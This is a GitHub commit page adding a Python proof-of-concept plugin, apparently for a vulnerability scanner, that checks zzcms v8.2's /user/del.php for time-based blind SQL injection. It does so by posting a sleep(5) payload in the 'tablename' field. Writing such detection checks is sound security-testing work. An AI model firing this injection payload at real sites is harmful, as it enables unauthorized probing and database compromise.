Skip to content

Commit

Permalink
zzcms SQL注入POC
Browse files Browse the repository at this point in the history
  • Loading branch information
boy-hack committed Feb 7, 2018
1 parent a6a29f1 commit b736980
Showing 1 changed file with 22 additions and 0 deletions.
22 changes: 22 additions & 0 deletions plugins/zzcms/zzcms8.2sqli.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Refer___ = http://www.freebuf.com/vuls/161888.html
import re
import time

def assign(service, arg):
if service == 'zzcms':
return True, arg
def audit(arg):
payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字符串
url = arg + "/user/del.php"
startTime = time.time()
post_data = "id=1&tablename=zzcms_answer where id = 1 and sleep(5)%23"

code, head, html, redirect_url, log = hackhttp.http(url,headers={"Content-Type": "application/x-www-form-urlencoded"},post=post_data)

if code == 200 and time.time() - startTime > 5:
security_hole("zzcms v8.2 /user/del.php 存在SQL Inject descript:%s"%log["request"])

if __name__ == '__main__':
from dummy import *

0 comments on commit b736980

Please sign in to comment.